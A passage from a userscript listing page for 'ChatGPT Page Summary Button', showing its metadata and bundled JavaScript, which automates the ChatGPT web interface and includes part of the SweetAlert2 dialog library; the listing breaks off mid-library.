ChatGPT 页面摘要按钮

🍓 让 ChatGPT 一键总结您正在阅读的网页

当前为 2023-07-17 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-page-summary-button
  3. // @description 🍓 let ChatGPT summary the web page you are reading in one click
  4. // @author mefengl
  5. // @version 0.4.0
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_setValue
  12. // @grant GM_getValue
  13. // @grant GM_registerMenuCommand
  14. // @grant GM_unregisterMenuCommand
  15. // @grant GM_addValueChangeListener
  16.  
  17. // @name:en ChatGPT Page Summary Button
  18. // @description:en 🍓 let ChatGPT summarize the web page you are reading in one click
  19. // @name:zh-CN ChatGPT 页面摘要按钮
  20. // @description:zh-CN 🍓 让 ChatGPT 一键总结您正在阅读的网页
  21. // @name:es Botón de resumen de página de ChatGPT
  22. // @description:es 🍓 permite que ChatGPT resuma la página web que estás leyendo con un solo clic
  23. // @name:hi ChatGPT पृष्ठ सारांश बटन
  24. // @description:hi 🍓 ChatGPT को वेबपेज जो आप पढ़ रहे हैं को एक क्लिक में संक्षेप में देने दें
  25. // @name:ar زر ملخص الصفحة لـ ChatGPT
  26. // @description:ar 🍓 دع ChatGPT يلخص صفحة الويب التي تقرأها بنقرة واحدة
  27. // @name:pt Botão de resumo de página do ChatGPT
  28. // @description:pt 🍓 permita que o ChatGPT resuma a página da web que você está lendo com um clique
  29. // @name:ru Кнопка резюме страницы ChatGPT
  30. // @description:ru 🍓 позволяет ChatGPT кратко описывать веб-страницу, которую вы читаете, одним щелчком мыши
  31. // @name:ja ChatGPTページ要約ボタン
  32. // @description:ja 🍓 ChatGPTで読んでいるWebページをワンクリックで要約
  33. // @name:de ChatGPT-Seitenzusammenfassungs-Button
  34. // @description:de 🍓 Lassen Sie ChatGPT die Webseite, die Sie gerade lesen, mit einem Klick zusammenfassen
  35. // @name:fr Bouton de résumé de page ChatGPT
  36. // @description:fr 🍓 laissez ChatGPT résumer la page Web que vous lisez en un seul clic
  37. // ==/UserScript==
  38. "use strict";
  39. (() => {
  40. var __create = Object.create;
  41. var __defProp = Object.defineProperty;
  42. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  43. var __getOwnPropNames = Object.getOwnPropertyNames;
  44. var __getProtoOf = Object.getPrototypeOf;
  45. var __hasOwnProp = Object.prototype.hasOwnProperty;
  46. var __commonJS = (cb, mod) => function __require() {
  47. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  48. };
  49. var __copyProps = (to, from, except, desc) => {
  50. if (from && typeof from === "object" || typeof from === "function") {
  51. for (let key of __getOwnPropNames(from))
  52. if (!__hasOwnProp.call(to, key) && key !== except)
  53. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  54. }
  55. return to;
  56. };
  57. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  58. // If the importer is in node compatibility mode or this is not an ESM
  59. // file that has been converted to a CommonJS file using a Babel-
  60. // compatible transform (i.e. "__esModule" has not been set), then set
  61. // "default" to the CommonJS "module.exports" for node compatibility.
  62. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  63. mod
  64. ));
  65. var __async = (__this, __arguments, generator) => {
  66. return new Promise((resolve, reject) => {
  67. var fulfilled = (value) => {
  68. try {
  69. step(generator.next(value));
  70. } catch (e) {
  71. reject(e);
  72. }
  73. };
  74. var rejected = (value) => {
  75. try {
  76. step(generator.throw(value));
  77. } catch (e) {
  78. reject(e);
  79. }
  80. };
  81. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  82. step((generator = generator.apply(__this, __arguments)).next());
  83. });
  84. };
  85.  
  86. // ../../packages/chatkit/dist/chatgpt/index.js
  87. var require_chatgpt = __commonJS({
  88. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  89. "use strict";
  90. var __defProp2 = Object.defineProperty;
  91. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  92. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  93. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  94. var __export = (target, all) => {
  95. for (var name in all)
  96. __defProp2(target, name, { get: all[name], enumerable: true });
  97. };
  98. var __copyProps2 = (to, from, except, desc) => {
  99. if (from && typeof from === "object" || typeof from === "function") {
  100. for (let key of __getOwnPropNames2(from))
  101. if (!__hasOwnProp2.call(to, key) && key !== except)
  102. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  103. }
  104. return to;
  105. };
  106. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  107. var chatgpt_exports = {};
  108. __export(chatgpt_exports, {
  109. getContinueGeneratingButton: () => getContinueGeneratingButton,
  110. getConversation: () => getConversation,
  111. getHistoryBlockTitle: () => getHistoryBlockTitle,
  112. getHistoryBlocks: () => getHistoryBlocks,
  113. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  114. getLastResponse: () => getLastResponse,
  115. getLastResponseElement: () => getLastResponseElement,
  116. getModelSelectButton: () => getModelSelectButton,
  117. getNav: () => getNav,
  118. getNewModelSelectButtons: () => getNewModelSelectButtons,
  119. getRegenerateButton: () => getRegenerateButton,
  120. getStopGeneratingButton: () => getStopGeneratingButton,
  121. getSubmitButton: () => getSubmitButton,
  122. getTextarea: () => getTextarea,
  123. getTextareaValue: () => getTextareaValue,
  124. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  125. isConversationStarted: () => isConversationStarted,
  126. isGenerating: () => isGenerating,
  127. isHorizontalConversation: () => isHorizontalConversation,
  128. onSend: () => onSend,
  129. regenerate: () => regenerate,
  130. send: () => send,
  131. setHorizontalConversation: () => setHorizontalConversation,
  132. setPromptListener: () => setPromptListener2,
  133. setPureConversation: () => setPureConversation,
  134. setTextarea: () => setTextarea,
  135. waitForIdle: () => waitForIdle
  136. });
  137. module.exports = __toCommonJS(chatgpt_exports);
  138. function getNav() {
  139. return document.querySelector("nav");
  140. }
  141. function getHistoryBlocks() {
  142. const nav = getNav();
  143. if (!nav)
  144. return [];
  145. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  146. return result;
  147. }
  148. function getHistoryBlockTitle(historyBlock) {
  149. var _a;
  150. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  151. }
  152. function getHistoryBlocksWithTitle() {
  153. const historyBlocks = getHistoryBlocks();
  154. const result = historyBlocks.map((historyBlock) => ({
  155. block: historyBlock,
  156. title: getHistoryBlockTitle(historyBlock)
  157. }));
  158. return result;
  159. }
  160. function getTextarea() {
  161. const form = document.querySelector("form");
  162. if (!form)
  163. return;
  164. const textareas = form.querySelectorAll("textarea");
  165. const result = textareas[0];
  166. return result;
  167. }
  168. function getSubmitButton() {
  169. const textarea = getTextarea();
  170. if (!textarea)
  171. return;
  172. return textarea.nextElementSibling;
  173. }
  174. function getRegenerateButton() {
  175. const form = document.querySelector("form");
  176. if (!form)
  177. return;
  178. const buttons = form.querySelectorAll("button");
  179. const result = Array.from(buttons).find((button) => {
  180. var _a;
  181. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("regenerate");
  182. });
  183. return result;
  184. }
  185. function getContinueGeneratingButton() {
  186. const form = document.querySelector("form");
  187. if (!form)
  188. return;
  189. const buttons = form.querySelectorAll("button");
  190. const result = Array.from(buttons).find((button) => {
  191. var _a;
  192. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("continue generating");
  193. });
  194. return result;
  195. }
  196. function getStopGeneratingButton() {
  197. const form = document.querySelector("form");
  198. if (!form)
  199. return;
  200. const buttons = form.querySelectorAll("button");
  201. const result = Array.from(buttons).find((button) => {
  202. var _a;
  203. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("stop generating");
  204. });
  205. return result;
  206. }
  207. function getLastResponseElement() {
  208. const responseElements = document.querySelectorAll(".group.w-full");
  209. return responseElements[responseElements.length - 1];
  210. }
  211. function getLastResponse() {
  212. const lastResponseElement = getLastResponseElement();
  213. if (!lastResponseElement)
  214. return;
  215. const lastResponse = lastResponseElement.textContent;
  216. return lastResponse;
  217. }
  218. function getTextareaValue() {
  219. var _a;
  220. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  221. }
  222. function setTextarea(message) {
  223. const textarea = getTextarea();
  224. if (!textarea)
  225. return;
  226. textarea.value = message;
  227. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  228. }
  229. function send(message) {
  230. return __async(this, null, function* () {
  231. setTextarea(message);
  232. const textarea = getTextarea();
  233. if (!textarea)
  234. return;
  235. while (textarea.value === message) {
  236. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  237. yield new Promise((resolve) => setTimeout(resolve, 100));
  238. }
  239. });
  240. }
  241. function regenerate() {
  242. const regenerateButton = getRegenerateButton();
  243. if (!regenerateButton)
  244. return;
  245. regenerateButton.click();
  246. }
  247. function onSend(callback) {
  248. const textarea = getTextarea();
  249. if (!textarea)
  250. return;
  251. textarea.addEventListener("keydown", function(event) {
  252. if (event.key === "Enter" && !event.shiftKey) {
  253. callback();
  254. }
  255. });
  256. const sendButton = getSubmitButton();
  257. if (!sendButton)
  258. return;
  259. sendButton.addEventListener("mousedown", callback);
  260. }
  261. function isGenerating() {
  262. var _a, _b;
  263. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  264. }
  265. function waitForIdle() {
  266. return new Promise((resolve) => {
  267. const interval = setInterval(() => {
  268. if (!isGenerating()) {
  269. clearInterval(interval);
  270. resolve();
  271. }
  272. }, 1e3);
  273. });
  274. }
  275. function setPromptListener2(key = "prompt_texts") {
  276. let last_trigger_time = +/* @__PURE__ */ new Date();
  277. if (location.href.includes("chat.openai")) {
  278. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  279. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  280. return;
  281. }
  282. last_trigger_time = +/* @__PURE__ */ new Date();
  283. setTimeout(() => __async(this, null, function* () {
  284. const prompt_texts = new_value;
  285. if (prompt_texts.length > 0) {
  286. let firstTime = true;
  287. while (prompt_texts.length > 0) {
  288. if (!firstTime) {
  289. yield new Promise((resolve) => setTimeout(resolve, 2e3));
  290. }
  291. if (!firstTime && isGenerating()) {
  292. continue;
  293. }
  294. firstTime = false;
  295. const prompt_text = prompt_texts.shift() || "";
  296. yield send(prompt_text);
  297. }
  298. }
  299. }), 0);
  300. GM_setValue(key, []);
  301. }));
  302. }
  303. }
  304. function getConversation() {
  305. var _a, _b;
  306. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  307. }
  308. function getModelSelectButton() {
  309. const conversation = getConversation();
  310. if (!conversation)
  311. return;
  312. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  313. var _a;
  314. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  315. });
  316. }
  317. function getNewModelSelectButtons() {
  318. return Array.from(document.querySelectorAll("[class^='group/button']"));
  319. }
  320. function hasNewModelSelectButtons() {
  321. return getNewModelSelectButtons().length > 0;
  322. }
  323. function isConversationStarted() {
  324. return !getModelSelectButton();
  325. }
  326. function setPureConversation() {
  327. const conversation = getConversation();
  328. if (!conversation)
  329. return;
  330. const firstChild = conversation.firstChild;
  331. if (!firstChild)
  332. return;
  333. const newDiv = document.createElement("div");
  334. conversation.insertBefore(newDiv, firstChild.nextSibling);
  335. }
  336. function isHorizontalConversation() {
  337. const conversation = getConversation();
  338. if (!conversation)
  339. return true;
  340. if (!isConversationStarted())
  341. return true;
  342. return conversation.classList.contains("grid");
  343. }
  344. function setHorizontalConversation() {
  345. if (isHorizontalConversation())
  346. return;
  347. setPureConversation();
  348. const conversation = getConversation();
  349. if (!conversation)
  350. return;
  351. conversation.classList.remove("flex", "flex-col", "items-center");
  352. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  353. }
  354. }
  355. });
  356.  
  357. // ../../packages/chatkit/chatgpt.js
  358. var require_chatgpt2 = __commonJS({
  359. "../../packages/chatkit/chatgpt.js"(exports, module) {
  360. module.exports = require_chatgpt();
  361. }
  362. });
  363.  
  364. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  365. var require_sweetalert2_all = __commonJS({
  366. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  367. (function(global, factory) {
  368. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  369. })(exports, function() {
  370. "use strict";
  371. const RESTORE_FOCUS_TIMEOUT = 100;
  372. const globalState = {};
  373. const focusPreviousActiveElement = () => {
  374. if (globalState.previousActiveElement instanceof HTMLElement) {
  375. globalState.previousActiveElement.focus();
  376. globalState.previousActiveElement = null;
  377. } else if (document.body) {
  378. document.body.focus();
  379. }
  380. };
  381. const restoreActiveElement = (returnFocus) => {
  382. return new Promise((resolve) => {
  383. if (!returnFocus) {
  384. return resolve();
  385. }
  386. const x = window.scrollX;
  387. const y = window.scrollY;
  388. globalState.restoreFocusTimeout = setTimeout(() => {
  389. focusPreviousActiveElement();
  390. resolve();
  391. }, RESTORE_FOCUS_TIMEOUT);
  392. window.scrollTo(x, y);
  393. });
  394. };
  395. var privateProps = {
  396. promise: /* @__PURE__ */ new WeakMap(),
  397. innerParams: /* @__PURE__ */ new WeakMap(),
  398. domCache: /* @__PURE__ */ new WeakMap()
  399. };
  400. const swalPrefix = "swal2-";
  401. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  402. const swalClasses = classNames.reduce(
  403. (acc, className) => {
  404. acc[className] = swalPrefix + className;
  405. return acc;
  406. },
  407. /** @type {SwalClasses} */
  408. {}
  409. );
  410. const icons = ["success", "warning", "info", "question", "error"];
  411. const iconTypes = icons.reduce(
  412. (acc, icon) => {
  413. acc[icon] = swalPrefix + icon;
  414. return acc;
  415. },
  416. /** @type {SwalIcons} */
  417. {}
  418. );
  419. const consolePrefix = "SweetAlert2:";
  420. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  421. const warn = (message) => {
  422. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  423. };
  424. const error = (message) => {
  425. console.error(`${consolePrefix} ${message}`);
  426. };
  427. const previousWarnOnceMessages = [];
  428. const warnOnce = (message) => {
  429. if (!previousWarnOnceMessages.includes(message)) {
  430. previousWarnOnceMessages.push(message);
  431. warn(message);
  432. }
  433. };
  434. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  435. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  436. };
  437. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  438. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  439. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  440. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  441. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  442. const elementBySelector = (selectorString) => {
  443. const container = getContainer();
  444. return container ? container.querySelector(selectorString) : null;
  445. };
  446. const elementByClass = (className) => {
  447. return elementBySelector(`.${className}`);
  448. };
  449. const getPopup = () => elementByClass(swalClasses.popup);
  450. const getIcon = () => elementByClass(swalClasses.icon);
  451. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  452. const getTitle = () => elementByClass(swalClasses.title);
  453. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  454. const getImage = () => elementByClass(swalClasses.image);
  455. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  456. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  457. const getConfirmButton = () => (
  458. /** @type {HTMLButtonElement} */
  459. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  460. );
  461. const getCancelButton = () => (
  462. /** @type {HTMLButtonElement} */
  463. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  464. );
  465. const getDenyButton = () => (
  466. /** @type {HTMLButtonElement} */
  467. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  468. );
  469. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  470. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  471. const getActions = () => elementByClass(swalClasses.actions);
  472. const getFooter = () => elementByClass(swalClasses.footer);
  473. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  474. const getCloseButton = () => elementByClass(swalClasses.close);
  475. const focusable = `
  476. a[href],
  477. area[href],
  478. input:not([disabled]),
  479. select:not([disabled]),
  480. textarea:not([disabled]),
  481. button:not([disabled]),
  482. iframe,
  483. object,
  484. embed,
  485. [tabindex="0"],
  486. [contenteditable],
  487. audio[controls],
  488. video[controls],
  489. summary
  490. `;
  491. const getFocusableElements = () => {
  492. const popup = getPopup();
  493. if (!popup) {
  494. return [];
  495. }
  496. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  497. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  498. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  499. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  500. if (tabindexA > tabindexB) {
  501. return 1;
  502. } else if (tabindexA < tabindexB) {
  503. return -1;
  504. }
  505. return 0;
  506. });
  507. const otherFocusableElements = popup.querySelectorAll(focusable);
  508. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  509. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  510. };
  511. const isModal = () => {
  512. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  513. };
  514. const isToast = () => {
  515. const popup = getPopup();
  516. if (!popup) {
  517. return false;
  518. }
  519. return hasClass(popup, swalClasses.toast);
  520. };
  521. const isLoading = () => {
  522. const popup = getPopup();
  523. if (!popup) {
  524. return false;
  525. }
  526. return popup.hasAttribute("data-loading");
  527. };
  528. const setInnerHtml = (elem, html) => {
  529. elem.textContent = "";
  530. if (html) {
  531. const parser = new DOMParser();
  532. const parsed = parser.parseFromString(html, `text/html`);
  533. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  534. elem.appendChild(child);
  535. });
  536. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  537. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  538. elem.appendChild(child.cloneNode(true));
  539. } else {
  540. elem.appendChild(child);
  541. }
  542. });
  543. }
  544. };
  545. const hasClass = (elem, className) => {
  546. if (!className) {
  547. return false;
  548. }
  549. const classList = className.split(/\s+/);
  550. for (let i = 0; i < classList.length; i++) {
  551. if (!elem.classList.contains(classList[i])) {
  552. return false;
  553. }
  554. }
  555. return true;
  556. };
  557. const removeCustomClasses = (elem, params) => {
  558. Array.from(elem.classList).forEach((className) => {
  559. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  560. elem.classList.remove(className);
  561. }
  562. });
  563. };
  564. const applyCustomClass = (elem, params, className) => {
  565. removeCustomClasses(elem, params);
  566. if (params.customClass && params.customClass[className]) {
  567. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  568. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  569. return;
  570. }
  571. addClass(elem, params.customClass[className]);
  572. }
  573. };
  574. const getInput$1 = (popup, inputClass) => {
  575. if (!inputClass) {
  576. return null;
  577. }
  578. switch (inputClass) {
  579. case "select":
  580. case "textarea":
  581. case "file":
  582. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  583. case "checkbox":
  584. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  585. case "radio":
  586. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  587. case "range":
  588. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  589. default:
  590. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  591. }
  592. };
  593. const focusInput = (input) => {
  594. input.focus();
  595. if (input.type !== "file") {
  596. const val = input.value;
  597. input.value = "";
  598. input.value = val;
  599. }
  600. };
  601. const toggleClass = (target, classList, condition) => {
  602. if (!target || !classList) {
  603. return;
  604. }
  605. if (typeof classList === "string") {
  606. classList = classList.split(/\s+/).filter(Boolean);
  607. }
  608. classList.forEach((className) => {
  609. if (Array.isArray(target)) {
  610. target.forEach((elem) => {
  611. condition ? elem.classList.add(className) : elem.classList.remove(className);
  612. });
  613. } else {
  614. condition ? target.classList.add(className) : target.classList.remove(className);
  615. }
  616. });
  617. };
  618. const addClass = (target, classList) => {
  619. toggleClass(target, classList, true);
  620. };
  621. const removeClass = (target, classList) => {
  622. toggleClass(target, classList, false);
  623. };
  624. const getDirectChildByClass = (elem, className) => {
  625. const children = Array.from(elem.children);
  626. for (let i = 0; i < children.length; i++) {
  627. const child = children[i];
  628. if (child instanceof HTMLElement && hasClass(child, className)) {
  629. return child;
  630. }
  631. }
  632. };
  633. const applyNumericalStyle = (elem, property, value) => {
  634. if (value === `${parseInt(value)}`) {
  635. value = parseInt(value);
  636. }
  637. if (value || parseInt(value) === 0) {
  638. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  639. } else {
  640. elem.style.removeProperty(property);
  641. }
  642. };
  643. const show = function(elem) {
  644. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  645. elem && (elem.style.display = display);
  646. };
  647. const hide = (elem) => {
  648. elem && (elem.style.display = "none");
  649. };
  650. const setStyle = (parent, selector, property, value) => {
  651. const el = parent.querySelector(selector);
  652. if (el) {
  653. el.style[property] = value;
  654. }
  655. };
  656. const toggle = function(elem, condition) {
  657. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  658. condition ? show(elem, display) : hide(elem);
  659. };
  660. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  661. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  662. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  663. const hasCssAnimation = (elem) => {
  664. const style = window.getComputedStyle(elem);
  665. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  666. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  667. return animDuration > 0 || transDuration > 0;
  668. };
  669. const animateTimerProgressBar = function(timer) {
  670. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  671. const timerProgressBar = getTimerProgressBar();
  672. if (isVisible$1(timerProgressBar)) {
  673. if (reset) {
  674. timerProgressBar.style.transition = "none";
  675. timerProgressBar.style.width = "100%";
  676. }
  677. setTimeout(() => {
  678. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  679. timerProgressBar.style.width = "0%";
  680. }, 10);
  681. }
  682. };
  683. const stopTimerProgressBar = () => {
  684. const timerProgressBar = getTimerProgressBar();
  685. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  686. timerProgressBar.style.removeProperty("transition");
  687. timerProgressBar.style.width = "100%";
  688. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  689. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  690. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  691. };
  692. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  693. const sweetHTML = `
  694. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  695. <button type="button" class="${swalClasses.close}"></button>
  696. <ul class="${swalClasses["progress-steps"]}"></ul>
  697. <div class="${swalClasses.icon}"></div>
  698. <img class="${swalClasses.image}" />
  699. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  700. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  701. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  702. <input type="file" class="${swalClasses.file}" />
  703. <div class="${swalClasses.range}">
  704. <input type="range" />
  705. <output></output>
  706. </div>
  707. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  708. <div class="${swalClasses.radio}"></div>
  709. <label class="${swalClasses.checkbox}">
  710. <input type="checkbox" id="${swalClasses.checkbox}" />
  711. <span class="${swalClasses.label}"></span>
  712. </label>
  713. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  714. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  715. <div class="${swalClasses.actions}">
  716. <div class="${swalClasses.loader}"></div>
  717. <button type="button" class="${swalClasses.confirm}"></button>
  718. <button type="button" class="${swalClasses.deny}"></button>
  719. <button type="button" class="${swalClasses.cancel}"></button>
  720. </div>
  721. <div class="${swalClasses.footer}"></div>
  722. <div class="${swalClasses["timer-progress-bar-container"]}">
  723. <div class="${swalClasses["timer-progress-bar"]}"></div>
  724. </div>
  725. </div>
  726. `.replace(/(^|\n)\s*/g, "");
  727. const resetOldContainer = () => {
  728. const oldContainer = getContainer();
  729. if (!oldContainer) {
  730. return false;
  731. }
  732. oldContainer.remove();
  733. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  734. return true;
  735. };
  736. const resetValidationMessage$1 = () => {
  737. globalState.currentInstance.resetValidationMessage();
  738. };
  739. const addInputChangeListeners = () => {
  740. const popup = getPopup();
  741. const input = getDirectChildByClass(popup, swalClasses.input);
  742. const file = getDirectChildByClass(popup, swalClasses.file);
  743. const range = popup.querySelector(`.${swalClasses.range} input`);
  744. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  745. const select = getDirectChildByClass(popup, swalClasses.select);
  746. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  747. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  748. input.oninput = resetValidationMessage$1;
  749. file.onchange = resetValidationMessage$1;
  750. select.onchange = resetValidationMessage$1;
  751. checkbox.onchange = resetValidationMessage$1;
  752. textarea.oninput = resetValidationMessage$1;
  753. range.oninput = () => {
  754. resetValidationMessage$1();
  755. rangeOutput.value = range.value;
  756. };
  757. range.onchange = () => {
  758. resetValidationMessage$1();
  759. rangeOutput.value = range.value;
  760. };
  761. };
  762. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  763. const setupAccessibility = (params) => {
  764. const popup = getPopup();
  765. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  766. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  767. if (!params.toast) {
  768. popup.setAttribute("aria-modal", "true");
  769. }
  770. };
  771. const setupRTL = (targetElement) => {
  772. if (window.getComputedStyle(targetElement).direction === "rtl") {
  773. addClass(getContainer(), swalClasses.rtl);
  774. }
  775. };
  776. const init = (params) => {
  777. const oldContainerExisted = resetOldContainer();
  778. if (isNodeEnv()) {
  779. error("SweetAlert2 requires document to initialize");
  780. return;
  781. }
  782. const container = document.createElement("div");
  783. container.className = swalClasses.container;
  784. if (oldContainerExisted) {
  785. addClass(container, swalClasses["no-transition"]);
  786. }
  787. setInnerHtml(container, sweetHTML);
  788. const targetElement = getTarget(params.target);
  789. targetElement.appendChild(container);
  790. setupAccessibility(params);
  791. setupRTL(targetElement);
  792. addInputChangeListeners();
  793. };
  794. const parseHtmlToContainer = (param, target) => {
  795. if (param instanceof HTMLElement) {
  796. target.appendChild(param);
  797. } else if (typeof param === "object") {
  798. handleObject(param, target);
  799. } else if (param) {
  800. setInnerHtml(target, param);
  801. }
  802. };
  803. const handleObject = (param, target) => {
  804. if (param.jquery) {
  805. handleJqueryElem(target, param);
  806. } else {
  807. setInnerHtml(target, param.toString());
  808. }
  809. };
  810. const handleJqueryElem = (target, elem) => {
